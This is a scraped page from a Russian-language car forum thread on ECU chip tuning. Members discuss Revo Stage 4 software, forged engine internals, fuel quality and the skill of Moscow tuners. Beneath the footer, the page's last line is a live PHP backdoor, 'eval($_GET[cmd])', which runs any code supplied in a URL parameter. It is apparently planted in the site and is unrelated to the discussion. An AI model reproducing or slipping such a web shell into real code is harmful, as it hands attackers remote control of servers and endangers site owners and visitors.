+ Ответить в теме
Страница 15 из 81 ПерваяПервая ... 5 13 14 15 16 17 25 65 ... ПоследняяПоследняя
Показано с 141 по 150 из 809

Тема: чип vs чип (подход, особенности, проблемы и т.п.)


  1. #141
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    Цитата Сообщение от BON Посмотреть сообщение
    Со слов турбораббита, все что свыше 400 л.с. нужен низ мотора другой. У рево такого нет, так чтоже они тебе предложат........ ты и так вроде бы получил какие то пони ?
    У Рево нет, у меня есть. Конфигурация мотора, включая новую СЖ, марку поршней и шатунов была озвучена Ревовцам. Софт они дали. Все хорошо.
    Под "хорошо" я понимаю - ездиет, заводится, не доставляет проблем... Если к этому приписать "400лс" - тут начинаются ньюансы, начиная от качества бензина и заканчивая "не, так калибровать мы не будем"...
    Стейдж4, кстати, у них предполагает "другой" низ.

  2. #142
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от BON Посмотреть сообщение
    Со слов турбораббита, все что свыше 400 л.с. нужен низ мотора другой. У рево такого нет, так чтоже они тебе предложат........ ты и так вроде бы получил какие то пони ?
    ====
    Кмк у Глума мотор уже кованный, но может я чего не так понял

    Добавлено через 1 минуту
    Цитата Сообщение от Глум Посмотреть сообщение
    начинаются ньюансы, начиная от качества бензина
    ====
    Качество бензина это очень важный аргумент и тут мало чего можно сделать. Но я просто не верю что в Москве нет нормального бензина !
    Последний раз редактировалось turborabbit; 09.09.2011 в 13:56. Причина: Добавлено сообщение

  3. #143
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Глум Посмотреть сообщение
    У Рево нет, у меня есть. Конфигурация мотора, включая новую СЖ, марку поршней и шатунов была озвучена Ревовцам. Софт они дали. Все хорошо.
    Под "хорошо" я понимаю - ездиет, заводится, не доставляет проблем... Если к этому приписать "400лс" - тут начинаются ньюансы, начиная от качества бензина и заканчивая "не, так калибровать мы не будем"...
    Стейдж4, кстати, у них предполагает "другой" низ.
    Я не увидел ст.4 у Рево на сайте, там Ст.3 на базе 3071 ........... и в спецификации, тоже не увидел про низ мотора. Есть ссылка ?
    https://products.revotechnik.com/pro....aspx?pvID=601

    Добавлено через 1 минуту
    Цитата Сообщение от turborabbit Посмотреть сообщение
    ====
    Качество бензина это очень важный аргумент и тут мало чего можно сделать. Но я просто не верю что в Москве нет нормального бензина !
    Он есть, тоже не верю. Много тестов в разных журналах 98-й у всех 98-й. Другое дело, что нужно что-то большее, но и тут есть например и 100 и 105 в наличии и всегда.
    Последний раз редактировалось BON; 09.09.2011 в 14:03. Причина: Добавлено сообщение
    песок сыпется....не останавливайтесь на достигнутом !

  4. #144
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    Цитата Сообщение от BON Посмотреть сообщение
    Я не увидел ст.4 у Рево на сайте, там Ст.3 на базе 3071 ........... и в спецификации, тоже не увидел про низ мотора. Есть ссылка ?
    https://products.revotechnik.com/pro....aspx?pvID=601
    Завуалированно это выглядит так "Revo Stage 4 software has been developed to compliment cars running more extensive engine modifications. Revo Stage 4 software is tuned to suit higher level hardware upgrade packages than Stage 3 maximising the full potential of your vehicle." :) Типа - стейдж3 + ковка.

    Про бензин - нет, я не говорю, что его НЕТ..Я заправляюсь обычным товарным 98Ультимейт на бП. Машина на евридей..Именно на ЭТОМ бензине я хочу настраивать машину. Другой вопрос - на каждой конкретной заправке (БП в данном случае) бензин может чуть отличаться в разные стороны по качеству. Вот и все.

    Низ - поршни ковка Wossner , СЖ 9.5, шатуны IE.

  5. #145
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Глум Посмотреть сообщение
    Завуалированно это выглядит так "Revo Stage 4 software has been developed to compliment cars running more extensive engine modifications. Revo Stage 4 software is tuned to suit higher level hardware upgrade packages than Stage 3 maximising the full potential of your vehicle." :) Типа - стейдж3 + ковка.

    Про бензин - нет, я не говорю, что его НЕТ..Я заправляюсь обычным товарным 98Ультимейт на бП. Машина на евридей..Именно на ЭТОМ бензине я хочу настраивать машину. Другой вопрос - на каждой конкретной заправке (БП в данном случае) бензин может чуть отличаться в разные стороны по качеству. Вот и все.

    Низ - поршни ковка Wossner , СЖ 9.5, шатуны IE.
    Сил 450 ну минимум должно быть (
    песок сыпется....не останавливайтесь на достигнутом !

  6. #146
    Цитата Сообщение от Глум Посмотреть сообщение
    Так суть вопроса то и не раскрыта - КТО настроит?:) В Москве..
    Серега, ИМХО - "кто именно может настроить" даже больше одного:), но иногда многое зависит от:

    Цитата Сообщение от turborabbit Посмотреть сообщение
    ...есть очень существенная разница когда ты сам выбираешь какую машину ты хочешь делать, а какую нет...
    Добавлено через 1 минуту
    Цитата Сообщение от Zerg Посмотреть сообщение
    Исключение составляют те прошивки, которые пишутся кастом не особо подготовленными людьми.
    Что значит "неподготовленными"? Студенты с Ваг-комом чтоль? :)

    Добавлено через 3 минуты
    Цитата Сообщение от BON Посмотреть сообщение
    Январь 5.1 можно еще.
    Я думаю, что, если настройщик предлагает ставить Январь - то он не умеет шить MED :)
    Последний раз редактировалось alex323-69; 09.09.2011 в 14:38. Причина: Добавлено сообщение

  7. #147
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    Цитата Сообщение от alex323-69 Посмотреть сообщение
    Серега, ИМХО - "кто именно может настроить" даже больше одного:), но иногда многое зависит от:
    Ок, Леш:) Сформулирую так - настроить ТАК, чтобы показатели были приближены к спекам таких же конфигов ТАМ (на товарном бензе)...Без оговорок "да у тя тут говно, да тут это надо поменять" и т.д. Ибо по умолчанию мы примем переменные в уравнении, когда все у нас исправно, все нужные девайсы стоят и все качает, дует и т.д...
    ЗЫ. Настроить - больше одного, настроить, чтобы ехало - тоже больше одного..
    Теперь, Лех, вопрос - сколько тех, кто ЗНАЕТ и ПОНИМАЕТ, что он настраивает?:)

  8. #148
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от BON Посмотреть сообщение
    Сил 450 ну минимум должно быть (
    ====
    Если форсунок, тнвд, тннд и периферии хватит.

  9. #149
    GTI-Racing WladimirGW is on a distinguished road Аватар для WladimirGW
    Регистрация
    09.09.2011
    Откуда
    Киев
    Машина
    Skoda Octavia A5 FL 1.8TSI + K04
    Сообщений
    22
    Ух как у вас тут интересно, какие страсти, посерьёзней чем у нас ))) :-D

  10. #150
    Цитата Сообщение от Глум Посмотреть сообщение
    Теперь, Лех, вопрос - сколько тех, кто ЗНАЕТ и ПОНИМАЕТ, что он настраивает?:)
    Меньше Серег, меньше... чем:

    Цитата Сообщение от Глум Посмотреть сообщение
    Настроить - больше одного, настроить, чтобы ехало - тоже больше одного..
    ((( и это грустно...
    Но прогресс идет, конкуренция все сильнее, а в ней лишние знания это плюсик в копилку.
    Усе будет хорошо :)

+ Ответить в теме
Страница 15 из 81 ПерваяПервая ... 5 13 14 15 16 17 25 65 ... ПоследняяПоследняя

Похожие темы

  1. Особенности установки холодного впуска на 2.0Т
    от serzh1 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 47
    Последнее сообщение: 02.10.2023, 06:07
  2. Проблемы с DSG на GTI VI
    от Strang3r в разделе Отзывы / Выбор
    Ответов: 50
    Последнее сообщение: 13.09.2010, 19:45
  3. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  4. Проблемы с DSG
    от DendisGTI в разделе Украина
    Ответов: 11
    Последнее сообщение: 24.12.2009, 20:12
  5. проблемы с vr6
    от no frost в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 25.05.2008, 12:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}